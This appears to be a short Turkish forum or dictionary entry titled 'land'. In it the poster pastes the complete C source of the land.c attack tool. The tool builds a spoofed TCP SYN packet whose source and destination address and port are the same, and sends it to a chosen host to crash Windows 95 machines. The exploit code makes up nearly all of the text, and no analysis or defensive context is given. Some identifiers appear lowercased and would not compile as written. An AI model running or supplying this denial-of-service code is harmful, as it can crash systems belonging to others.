land

• kaynak kodunu da yazayim tam olsun
  
  /* land.c by m3lt, flc
  crashes a win95 box */
  
  #include <stdio.h>
  #include <netdb.h>
  #include <arpa/inet.h>
  #include <netinet/in.h>
  #include <sys/types.h>
  #include <sys/socket.h>
  #include <netinet/ip.h>
  #include <netinet/tcp.h>
  #include <netinet/protocols.h>
  
  struct pseudohdr
  {
  struct in_addr saddr;
  struct in_addr daddr;
  u_char zero;
  u_char protocol;
  u_short length;
  struct tcphdr tcpheader;
  };
  
  u_short checksum(u_short * data,u_short length)
  {
  register long value;
  u_short i;
  
  for(i=0;i<(length>>1);i++)
  value+=data[i];
  
  if((length&1)==1)
  value+=(data[i]<<8);
  
  value=(value&65535)+(value>>16);
  
  return(~value);
  }
  
  int main(int argc,char * * argv)
  {
  struct sockaddr_in sin;
  struct hostent * hoste;
  int sock;
  char buffer[40];
  struct iphdr * ipheader=(struct iphdr *) buffer;
  struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct
  iphdr));
  struct pseudohdr pseudoheader;
  
  fprintf(stderr,"land.c by m3lt, flc\n");
  
  if(argc<3)
  {
  fprintf(stderr,"usage: %s ip port\n",argv[0]);
  return(-1);
  }
  bzero(&sin,sizeof(struct sockaddr_in));
  sin.sin_family=af_inet;
  
  if((hoste=gethostbyname(argv[1]))!=null)
  bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
  else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
  {
  fprintf(stderr,"unknown host %s\n",argv[1]);
  return(-1);
  }
  
  if((sin.sin_port=htons(atoi(argv[2])))==0)
  {
  fprintf(stderr,"unknown port %s\n",argv[2]);
  return(-1);
  }
  
  if((sock=socket(af_inet,sock_raw,255))==-1)
  {
  fprintf(stderr,"couldn't allocate raw socket\n");
  return(-1);
  }
  
  bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
  ipheader->version=4;
  ipheader->ihl=sizeof(struct iphdr)/4;
  ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
  ipheader->id=htons(0xf1c);
  ipheader->ttl=255;
  ipheader->protocol=ip_tcp;
  ipheader->saddr=sin.sin_addr.s_addr;
  ipheader->daddr=sin.sin_addr.s_addr;
  
  tcpheader->th_sport=sin.sin_port;
  tcpheader->th_dport=sin.sin_port;
  tcpheader->th_seq=htonl(0xf1c);
  tcpheader->th_flags=th_syn;
  tcpheader->th_off=sizeof(struct tcphdr)/4;
  tcpheader->th_win=htons(2048);
  
  bzero(&pseudoheader,12+sizeof(struct tcphdr));
  pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
  pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
  pseudoheader.protocol=6;
  pseudoheader.length=htons(sizeof(struct tcphdr));
  bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct
  tcphdr));
  tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct
  tcphdr));
  
  if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct
  tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
  {
  fprintf(stderr,"couldn't send packet\n");
  return(-1);
  }
  
  fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);
  close(sock);
  return(0);
  }